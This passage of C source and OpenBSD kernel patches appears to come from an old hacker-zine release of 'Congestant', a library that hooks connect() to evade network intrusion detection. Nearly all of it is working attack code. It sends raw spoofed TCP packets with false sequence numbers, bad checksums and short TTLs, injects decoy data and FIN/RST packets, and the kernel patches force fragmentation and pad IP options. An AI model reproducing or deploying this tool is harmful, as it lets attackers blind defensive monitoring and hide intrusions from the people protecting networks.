if(sendto(sock,pkt,IHLEN+ICMPLEN,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
{
perror("sendto");
}
free(pkt);
close(sock);
}
/* Our main worker routine. sends a TCP packet */
void cong_send_tcp(long source, long dest,short int sport, short int dport,
long seq, long ack, int flags, char *data, int dlen,
int cksum, int ttl)
{
struct sockaddr_in sa;
int sock,packet_len;
char *pkt,*phtcp;
struct cong_pseudo_header *ph;
struct cong_ip_header *ip;
struct cong_tcp_header *tcp;
int on=1;
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("socket");
exit(1);
}
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
{
perror("setsockopt: IP_HDRINCL");
exit(1);
}
bzero(&sa,sizeof(struct sockaddr_in));
sa.sin_addr.s_addr = dest;
sa.sin_family = AF_INET;
sa.sin_port = dport;
phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen));
pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen));
ph=(struct cong_pseudo_header *)phtcp;
tcp=(struct cong_tcp_header *)(((char *)phtcp)+PHLEN);
ip=(struct cong_ip_header *)pkt;
ph->saddr=source;
ph->daddr=dest;
ph->mbz=0;
ph->ptcl=IPPROTO_TCP;
ph->tcpl=htons(THLEN + dlen);
tcp->th_sport=sport;
tcp->th_dport=dport;
tcp->th_seq=seq;
tcp->th_ack=ack;
tcp->th_off=THLEN/4;
tcp->th_flags=flags;
if (ack) tcp->th_flags|=TH_ACK;
tcp->th_win=htons(16384);
memcpy(&(phtcp[PHLEN+THLEN]),data,dlen);
tcp->th_sum=cong_checksum((unsigned short*)phtcp,PHLEN+THLEN+dlen)+cksum;
ip->ip_v = 4;
ip->ip_hl = IHLEN >>2;
ip->ip_tos = 0;
ip->ip_len = htons(IHLEN+THLEN+dlen);
ip->ip_id = htons(getpid() & 0xFFFF);
ip->ip_off = 0;
ip->ip_ttl = ttl;
ip->ip_p = IPPROTO_TCP ;//TCP
ip->ip_sum = 0;
ip->ip_src = source;
ip->ip_dst = dest;
ip->ip_sum = cong_checksum((unsigned short*)ip,IHLEN);
memcpy(((char *)(pkt))+IHLEN,(char *)tcp,THLEN+dlen);
if(sendto(sock,pkt,IHLEN+THLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
{
perror("sendto");
}
free(phtcp);
free(pkt);
close(sock);
}
/* Utility routine for data insertion attacks */
void cong_send_data(long source, long dest,short int sport, short int dport,
long seq, long ack, int chk, int ttl)
{
char data[1024];
int i,j;
for (i=0;i<8;i++)
{
for (j=0;j<1024;data[j++]=random());
cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024),
htonl(ack), TH_PUSH, data, 1024, chk, ttl);
}
}
/* Utility routine for the ttl attack - potentially unreliable */
/* This could be rewritten to look for the icmp ttl exceeded and count
* the number of packets it receives, thus going much quicker. */
int cong_find_ttl(long source, long dest)
{
int sock;
long timestamp;
struct timeval tv,tvwait;
int ttl=0,result=255;
char buffer[8192];
int bread;
fd_set fds;
struct cong_ip_header *ip;
struct cong_icmp_header *icmp;
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
{
perror("socket");
exit(1);
}
tvwait.tv_sec=0;
tvwait.tv_usec=500;
gettimeofday(&tv,NULL);
timestamp=tv.tv_sec+3; // 3 second timeout
DEBUG("Determining ttl...");
while(tv.tv_sec<=timestamp)
{
gettimeofday(&tv,NULL);
if (ttl<50)
{
cong_send_icmp(source,dest,ttl,1,ttl);
cong_send_icmp(source,dest,ttl,1,ttl);
cong_send_icmp(source,dest,ttl,1,ttl++);
}
FD_ZERO(&fds);
FD_SET(sock,&fds);
select(sock+1,&fds,NULL,NULL,&tvwait);
if (FD_ISSET(sock,&fds))
{
if (bread=read(sock,buffer,sizeof(buffer)))
{
/* should we practice what we preach?
nah... too much effort :p */
ip=(struct cong_ip_header *)buffer;
if (ip->ip_src!=dest)
continue;
icmp=(struct cong_icmp_header *)(buffer +
((ip->ip_hl)<<2));
if (icmp->icmp_type!=0)
continue;
if (ntohs(icmp->icmp_seq)<result)
result=ntohs(icmp->icmp_seq);
}
}
}
if (cong_debug)
fprintf(stderr,"%d\n",result);
close(sock);
return result;
}
/* This is our init routine - reads conf env var*/
/* On the glibc box I tested, you cant dlopen from within
* _init, so there is a little hack here */
#if __GLIBC__ == 2
int cong_start(void)
#else
int _init(void)
#endif
{
void *handle;
char *conf;
#ifndef __OpenBSD__
handle=dlopen(LIB_PATH,1);
if (!handle)
{
fprintf(stderr,"Congestant Error: Can't load libc.\n");
return 0;
}
#if __linux__ || (__svr4__ && __sun__) || sgi || __osf__
cong_connect = dlsym(handle, "connect");
#else
cong_connect = dlsym(handle, "_connect");
#endif
if (!cong_connect)
{
fprintf(stderr,"Congestant Error: Can't find connect().\n");
return -1;
}
#endif /* not openbsd */
memset(&cong_config,0,sizeof(struct cong_config));
if (conf=getenv("CONGCONF"))
{
char *token;
token=strtok(conf,",");
while (token)
{
if (!strcmp(token,"OH"))
cong_config.one_host_attack=1;
else if (!strcmp(token,"FS"))
cong_config.fin_seq=1;
else if (!strcmp(token,"RS"))
cong_config.rst_seq=1;
else if (!strcmp(token,"SS"))
cong_config.syn_seq=1;
else if (!strcmp(token,"DS"))
cong_config.data_seq=1;
else if (!strcmp(token,"FC"))
cong_config.fin_chk=1;
else if (!strcmp(token,"RC"))
cong_config.rst_chk=1;
else if (!strcmp(token,"SC"))
cong_config.syn_chk=1;
else if (!strcmp(token,"DC"))
cong_config.data_chk=1;
else if (!strcmp(token,"FT"))
{
cong_config.fin_ttl=1;
cong_config.ttl=1;
}
else if (!strcmp(token,"RT"))
{
cong_config.rst_ttl=1;
cong_config.ttl=1;
}
else if (!strcmp(token,"DT"))
{
cong_config.data_ttl=1;
cong_config.ttl=1;
}
else if (!strcmp(token,"DEBUG"))
cong_debug=1;
token=strtok(NULL,",");
}
}
else /* default to full sneakiness */
{
cong_config.one_host_attack=1;
cong_config.fin_seq=1;
cong_config.rst_seq=1;
cong_config.syn_seq=1;
cong_config.data_seq=1;
cong_config.syn_chk=1;
cong_debug=1;
/* assume they have kernel support */
/* attacks are only compiled in under obsd*/
cong_config.data_chk=1;
cong_config.fin_chk=1;
cong_config.rst_chk=1;
cong_config.data_ttl=1;
cong_config.fin_ttl=1;
cong_config.rst_ttl=1;
cong_config.ttl=1;
}
cong_init=1;
}
/* This is our definition of connect */
#if (__svr4__ && __sun__)
int connect (int __fd, struct sockaddr * __addr, int __len)
#else
#if __GLIBC__ == 2
int connect __P ((int __fd,
__CONST_SOCKADDR_ARG __addr, socklen_t __len))
#else
int connect __P ((int __fd, const struct sockaddr * __addr, int __len))
#endif
#endif
{
int result,nl;
struct sockaddr_in sa;
long from,to;
short src,dest;
unsigned long fakeseq=424242;
int type=SOCK_STREAM;
unsigned long realseq=0;
unsigned long recvseq=0;
int ttl=255,ttlseq;
#if __GLIBC__ == 2
if (cong_init==0)
cong_start();
#endif
if (cong_init++==1)
fprintf(stderr,"Congestant v1 by horizon loaded.\n");
/* quick hack so we dont waste time with udp connects */
#ifdef KERNELSUPPORT
#ifdef __OpenBSD__
syscall(242,__fd,&type,&realseq,&recvseq);
#endif /* openbsd */
if (type!=SOCK_STREAM)
{
result=syscall(SYS_connect,__fd,__addr,__len);
return result;
}
#endif /* kernel support */
nl=sizeof(sa);
getsockname(__fd,(struct sockaddr *)&sa,&nl);
from=sa.sin_addr.s_addr;
src=sa.sin_port;
#if __GLIBC__ == 2
to=__addr.__sockaddr_in__->sin_addr.s_addr;
dest=__addr.__sockaddr_in__->sin_port;
#else
to=((struct sockaddr_in *)__addr)->sin_addr.s_addr;
dest=((struct sockaddr_in *)__addr)->sin_port;
#endif
if (cong_config.one_host_attack)
{
cong_send_tcp(inet_addr(FAKEHOST),
to, 4242, dest, 0, 0,
TH_SYN, NULL, 0, 0, 254);
DEBUG("Spoofed Fake SYN Packet\n");
}
if (cong_config.syn_chk)
{
/* This is a potential problem that could mess up
* client programs. If necessary, we bind the socket
* so that we can know what the source port will be
* prior to the connection.
*/
if (src==0)
{
bind(__fd,(struct sockaddr *)&sa,nl);
getsockname(__fd,(struct sockaddr *)&sa,&nl);
from=sa.sin_addr.s_addr;
src=sa.sin_port;
}
cong_send_tcp(from, to, src, dest, htonl(fakeseq), 0,
TH_SYN, NULL, 0,100, 254);
DEBUG("Sent Pre-Connect Desynchronizing SYN.\n");
fakeseq++;
}
DEBUG("Connection commencing...\n");
#ifndef __OpenBSD__
result=cong_connect(__fd,__addr,__len);
#else /* not openbsd */
result=syscall(SYS_connect,__fd,__addr,__len);
#endif
if (result==-1)
{
if (errno!=EINPROGRESS)
return -1;
/* Let's only print the warning once */
if (cong_init++==2)
fprintf(stderr,"Warning: Non-blocking connects might not work right.\n");
}
/* In case an ephemeral port was assigned by connect */
nl=sizeof(sa);
getsockname(__fd,(struct sockaddr *)&sa,&nl);
from=sa.sin_addr.s_addr;
src=sa.sin_port;
if (cong_config.syn_seq)
{
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
TH_SYN, NULL, 0, 0, 254);
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
TH_SYN, NULL, 0, 0, 254);
DEBUG("Sent Desynchronizing SYNs.\n");
}
if (cong_config.data_seq)
{
cong_send_data(from,to,src,dest,(fakeseq),0,0,254);
DEBUG("Inserted 8K of data with incorrect sequence numbers.\n");
fakeseq+=8*1024;
}
if (cong_config.fin_seq)
{
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
TH_FIN, NULL, 0, 0, 254);
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
TH_FIN, NULL, 0, 0, 254);
DEBUG("Spoofed FINs with incorrect sequence numbers.\n");
}
if (cong_config.rst_seq)
{
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
TH_RST, NULL, 0, 0, 254);
cong_send_tcp(from, to, src, dest, htonl(fakeseq++), 0,
TH_RST, NULL, 0, 0, 254);
DEBUG("Spoofed RSTs with incorrect sequence numbers.\n");
}
#ifdef KERNELSUPPORT
#ifdef __OpenBSD__
if (cong_config.ttl==1)
if (cong_ttl_cache!=to)
{
ttl=cong_find_ttl(from,to)-1;
cong_ttl_cache=to;
cong_ttl=ttl;
}
else
ttl=cong_ttl;
if (ttl<0)
{
fprintf(stderr,"Warning: The target host is too close for a ttl attack.\n");
cong_config.data_ttl=0;
cong_config.fin_ttl=0;
cong_config.rst_ttl=0;
ttl=0;
}
syscall(242,__fd,&type,&realseq,&recvseq);
ttlseq=realseq;
#endif /*openbsd */
if (cong_config.data_ttl)
{
cong_send_data(from,to,src,dest,(ttlseq),recvseq,0,ttl);
DEBUG("Inserted 8K of data with short ttl.\n");
ttlseq+=1024*8;
}
if (cong_config.fin_ttl)
{
cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
htonl(recvseq),TH_FIN, NULL, 0, 0, ttl);
cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
htonl(recvseq),TH_FIN, NULL, 0, 0, ttl);
DEBUG("Spoofed FINs with short ttl.\n");
}
if (cong_config.rst_ttl)
{
cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
cong_send_tcp(from, to, src, dest, htonl(ttlseq++),
htonl(recvseq),TH_RST, NULL, 0, 0, ttl);
DEBUG("Spoofed RSTs with short ttl.\n");
}
if (cong_config.data_chk)
{
cong_send_data(from,to,src,dest,(realseq),recvseq,100,254);
DEBUG("Inserted 8K of data with incorrect TCP checksums.\n");
realseq+=1024*8;
}
if (cong_config.fin_chk)
{
cong_send_tcp(from, to, src, dest, htonl(realseq++),
htonl(recvseq),TH_FIN, NULL, 0, 100, 254);
cong_send_tcp(from, to, src, dest, htonl(realseq++),
htonl(recvseq),TH_FIN, NULL, 0, 100, 254);
DEBUG("Spoofed FINs with incorrect TCP checksums.\n");
}
if (cong_config.rst_chk)
{
cong_send_tcp(from, to, src, dest, htonl(realseq++),
htonl(recvseq),TH_RST, NULL, 0, 100, 254);
cong_send_tcp(from, to, src, dest, htonl(realseq++),
htonl(recvseq),TH_RST, NULL, 0, 100, 254);
DEBUG("Spoofed RSTs with incorrect TCP checksums.\n");
}
#endif /* kernel support */
return result;
}
<-->
<++> congestant/netinet.patch
Common subdirectories: /usr/src/sys.2.4.orig/netinet/CVS and netinet/CVS
diff -u /usr/src/sys.2.4.orig/netinet/in.h netinet/in.h
--- /usr/src/sys.2.4.orig/netinet/in.h Tue Dec 8 10:32:38 1998
+++ netinet/in.h Tue Dec 8 10:48:33 1998
@@ -325,7 +325,10 @@
#define IPCTL_IPPORT_LASTAUTO 8
#define IPCTL_IPPORT_HIFIRSTAUTO 9
#define IPCTL_IPPORT_HILASTAUTO 10
-#define IPCTL_MAXID 11
+#define IPCTL_FRAG_HACK_HEAD 11
+#define IPCTL_FRAG_HACK_BODY 12
+#define IPCTL_OPTIONS_HACK 13
+#define IPCTL_MAXID 14
#define IPCTL_NAMES { \
{ 0, 0 }, \
@@ -339,6 +342,9 @@
{ "portlast", CTLTYPE_INT }, \
{ "porthifirst", CTLTYPE_INT }, \
{ "porthilast", CTLTYPE_INT }, \
+ { "fraghackhead", CTLTYPE_INT }, \
+ { "fraghackbody", CTLTYPE_INT }, \
+ { "optionshack", CTLTYPE_INT }, \
}
#ifndef _KERNEL
diff -u /usr/src/sys.2.4.orig/netinet/ip_input.c netinet/ip_input.c
--- /usr/src/sys.2.4.orig/netinet/ip_input.c Tue Dec 8 10:32:41 1998
+++ netinet/ip_input.c Tue Dec 8 10:48:33 1998
@@ -106,6 +106,10 @@
extern int ipport_hilastauto;
extern struct baddynamicports baddynamicports;
+extern int ip_fraghackhead;
+extern int ip_fraghackbody;
+extern int ip_optionshack;
+
extern struct domain inetdomain;
extern struct protosw inetsw[];
u_char ip_protox[IPPROTO_MAX];
@@ -1314,6 +1318,15 @@
case IPCTL_IPPORT_HILASTAUTO:
return (sysctl_int(oldp, oldlenp, newp, newlen,
&ipport_hilastauto));
+ case IPCTL_FRAG_HACK_HEAD:
+ return (sysctl_int(oldp, oldlenp, newp, newlen,
+ &ip_fraghackhead));
+ case IPCTL_FRAG_HACK_BODY:
+ return (sysctl_int(oldp, oldlenp, newp, newlen,
+ &ip_fraghackbody));
+ case IPCTL_OPTIONS_HACK:
+ return (sysctl_int(oldp, oldlenp, newp, newlen,
+ &ip_optionshack));
default:
return (EOPNOTSUPP);
}
diff -u /usr/src/sys.2.4.orig/netinet/ip_output.c netinet/ip_output.c
--- /usr/src/sys.2.4.orig/netinet/ip_output.c Tue Dec 8 10:32:43 1998
+++ netinet/ip_output.c Tue Dec 8 11:00:14 1998
@@ -88,6 +88,10 @@
extern int ipsec_esp_network_default_level;
#endif
+int ip_fraghackhead=0;
+int ip_fraghackbody=0;
+int ip_optionshack=0;
+
/*
* IP output. The packet in mbuf chain m contains a skeletal IP
* header (with len, off, ttl, proto, tos, src, dst).
@@ -124,6 +128,9 @@
struct inpcb *inp;
#endif
+ /* HACK */
+ int fakeheadmtu;
+
va_start(ap, m0);
opt = va_arg(ap, struct mbuf *);
ro = va_arg(ap, struct route *);
@@ -144,7 +151,50 @@
m = ip_insertoptions(m, opt, &len);
hlen = len;
}
+ /* HACK */
+ else if (ip_optionshack && !(flags & (IP_RAWOUTPUT|IP_FORWARDING)))
+ {
+ struct mbuf *n=NULL;
+ register struct ip* ip= mtod(m, struct ip*);
+
+ if (m->m_flags & M_EXT || m->m_data - 40 < m->m_pktdat)
+ {
+ MGETHDR(n, M_DONTWAIT, MT_HEADER);
+ if (n)
+ {
+ n->m_pkthdr.len = m->m_pkthdr.len + 40;
+ m->m_len -= sizeof(struct ip);
+ m->m_data += sizeof(struct ip);
+ n->m_next = m;
+ m = n;
+ m->m_len = 40 + sizeof(struct ip);
+ m->m_data += max_linkhdr;
+ bcopy((caddr_t)ip, mtod(m, caddr_t),
+ sizeof(struct ip));
+ }
+ }
+ else
+ {
+ m->m_data -= 40;
+ m->m_len += 40;
+ m->m_pkthdr.len += 40;
+ ovbcopy((caddr_t)ip, mtod(m, caddr_t),
+ sizeof(struct ip));
+ n++; /* make n!=0 */
+ }
+ if (n!=0)
+ {
+ ip = mtod(m, struct ip *);
+ memset((caddr_t)(ip+1),0,40);
+ ip->ip_len += 40;
+
+ hlen=60;
+ len=60;
+ }
+ }
+
ip = mtod(m, struct ip *);
+
/*
* Fill in IP header.
*/
@@ -721,7 +771,15 @@
/*
* If small enough for interface, can just send directly.
*/
- if ((u_int16_t)ip->ip_len <= ifp->if_mtu) {
+
+ /* HACK */
+
+ fakeheadmtu=ifp->if_mtu;
+
+ if ((ip_fraghackhead) && !(flags & (IP_RAWOUTPUT|IP_FORWARDING)))
+ fakeheadmtu=ip_fraghackhead;
+
+ if ((u_int16_t)ip->ip_len <= fakeheadmtu/*ifp->if_mtu*/) {
ip->ip_len = htons((u_int16_t)ip->ip_len);
ip->ip_off = htons((u_int16_t)ip->ip_off);
ip->ip_sum = 0;
@@ -738,7 +796,10 @@
ipstat.ips_cantfrag++;
goto bad;
}
- len = (ifp->if_mtu - hlen) &~ 7;
+
+/* HACK */
+
+ len = (/*ifp->if_mtu*/fakeheadmtu - hlen) &~ 7;
if (len < 8) {
error = EMSGSIZE;
goto bad;
@@ -748,6 +809,9 @@
int mhlen, firstlen = len;
struct mbuf **mnext = &m->m_nextpkt;
+ /*HACK*/
+ int first=0;
+
/*
* Loop through length of segment after first fragment,
* make new header and copy data of each part and link onto chain.
@@ -755,7 +819,9 @@
m0 = m;
mhlen = sizeof (struct ip);
for (off = hlen + len; off < (u_int16_t)ip->ip_len; off += len) {
- MGETHDR(m, M_DONTWAIT, MT_HEADER);
+ if (first && ip_fraghackbody)
+ len=(ip_fraghackbody-hlen) &~7;
+ MGETHDR(m, M_DONTWAIT, MT_HEADER);
if (m == 0) {
error = ENOBUFS;
ipstat.ips_odropped++;
@@ -791,6 +857,7 @@
mhip->ip_sum = 0;
mhip->ip_sum = in_cksum(m, mhlen);
ipstat.ips_ofragments++;
+ first=1;
}
/*
* Update first fragment by trimming what's been copied out
Common subdirectories: /usr/src/sys.2.4.orig/netinet/libdeslite and netinet/libdeslite
diff -u /usr/src/sys.2.4.orig/netinet/tcp_subr.c netinet/tcp_subr.c
--- /usr/src/sys.2.4.orig/netinet/tcp_subr.c Tue Dec 8 10:32:45 1998
+++ netinet/tcp_subr.c Tue Dec 8 10:48:33 1998
@@ -465,3 +465,18 @@
if (tp)
tp->snd_cwnd = tp->t_maxseg;
}
+
+/* HACK - This is a tcp subroutine added to grab the sequence numbers */
+
+void tcp_getseq(struct socket *so, struct mbuf *m)
+{
+ struct inpcb *inp;
+ struct tcpcb *tp;
+
+ if ((inp=sotoinpcb(so)) && (tp=intotcpcb(inp)))
+ {
+ m->m_len=sizeof(unsigned long)*2;
+ *(mtod(m,unsigned long *))=tp->snd_nxt;
+ *((mtod(m,unsigned long *))+1)=tp->rcv_nxt;
+ }
+}
diff -u /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c netinet/tcp_usrreq.c
--- /usr/src/sys.2.4.orig/netinet/tcp_usrreq.c Tue Dec 8 10:32:45 1998
+++ netinet/tcp_usrreq.c Tue Dec 8 10:48:33 1998
@@ -363,6 +363,10 @@
in_setsockaddr(inp, nam);
break;
+ case PRU_SOCKINFO:
+ tcp_getseq(so,m);
+ break;
+
case PRU_PEERADDR:
in_setpeeraddr(inp, nam);
break;
diff -u /usr/src/sys.2.4.orig/netinet/tcp_var.h netinet/tcp_var.h
--- /usr/src/sys.2.4.orig/netinet/tcp_var.h Tue Dec 8 10:32:45 1998
+++ netinet/tcp_var.h Tue Dec 8 10:48:34 1998
@@ -291,6 +291,8 @@
void tcp_pulloutofband __P((struct socket *,
struct tcpiphdr *, struct mbuf *));
void tcp_quench __P((struct inpcb *, int));
+/*HACK*/
+void tcp_getseq __P((struct socket *, struct mbuf *));
int tcp_reass __P((struct tcpcb *, struct tcpiphdr *, struct mbuf *));
void tcp_respond __P((struct tcpcb *,
struct tcpiphdr *, struct mbuf *, tcp_seq, tcp_seq, int));
<-->
<++> congestant/kern.patch
--- /usr/src/sys.2.4.orig/kern/uipc_syscalls.c Thu Dec 3 11:00:01 1998
+++ kern/uipc_syscalls.c Thu Dec 3 11:13:44 1998
@@ -924,6 +924,53 @@
}
/*
+ * Get socket information. HACK
+ */
+
+/* ARGSUSED */
+int
+sys_getsockinfo(p, v, retval)
+ struct proc *p;
+ void *v;
+ register_t *retval;
+{
+ register struct sys_getsockinfo_args /* {
+ syscallarg(int) fdes;
+ syscallarg(int *) type;
+ syscallarg(int *) seq;
+ syscallarg(int *) ack;
+ } */ *uap = v;
+ struct file *fp;
+ register struct socket *so;
+ struct mbuf *m;
+ int error;
+
+ if ((error = getsock(p->p_fd, SCARG(uap, fdes), &fp)) != 0)
+ return (error);
+
+ so = (struct socket *)fp->f_data;
+
+ error = copyout((caddr_t)&(so->so_type), (caddr_t)SCARG(uap, type), (u_int)sizeof(short));
+
+ if (!error && (so->so_type==SOCK_STREAM))
+ {
+ m = m_getclr(M_WAIT, MT_DATA);
+ if (m == NULL)
+ return (ENOBUFS);
+
+ error = (*so->so_proto->pr_usrreq)(so, PRU_SOCKINFO, m, 0, 0);
+
+ if (!error)
+ error = copyout(mtod(m,caddr_t), (caddr_t)SCARG(uap, seq), (u_int)sizeof(long));
+ if (!error)
+ error = copyout(mtod(m,caddr_t)+sizeof(long), (caddr_t)SCARG(uap, ack), (u_int)sizeof(long));
+ m_freem(m);
+ }
+
+ return error;
+}
+
+/*
* Get name of peer for connected socket.
*/
/* ARGSUSED */
--- /usr/src/sys.2.4.orig/kern/syscalls.master Thu Dec 3 11:00:00 1998
+++ kern/syscalls.master Thu Dec 3 11:14:44 1998
@@ -476,7 +476,8 @@
240 STD { int sys_nanosleep(const struct timespec *rqtp, \
struct timespec *rmtp); }
241 UNIMPL
-242 UNIMPL
+242 STD { int sys_getsockinfo(int fdes, int *type, \
+ int *seq, int *ack); }
243 UNIMPL
244 UNIMPL
245 UNIMPL
<-->
<++> congestant/sys.patch
--- /usr/src/sys.2.4.orig/sys/protosw.h Thu Dec 3 11:00:39 1998
+++ sys/protosw.h Thu Dec 3 11:16:41 1998
@@ -148,8 +148,8 @@
#define PRU_SLOWTIMO 19 /* 500ms timeout */
#define PRU_PROTORCV 20 /* receive from below */
#define PRU_PROTOSEND 21 /* send to below */
-
-#define PRU_NREQ 21
+#define PRU_SOCKINFO 22
+#define PRU_NREQ 22
#ifdef PRUREQUESTS
char *prurequests[] = {
@@ -158,7 +158,7 @@
"RCVD", "SEND", "ABORT", "CONTROL",
"SENSE", "RCVOOB", "SENDOOB", "SOCKADDR",
"PEERADDR", "CONNECT2", "FASTTIMO", "SLOWTIMO",
- "PROTORCV", "PROTOSEND",
+ "PROTORCV", "PROTOSEND", "SOCKINFO",
};
#endif
<-->
----[ EOF
|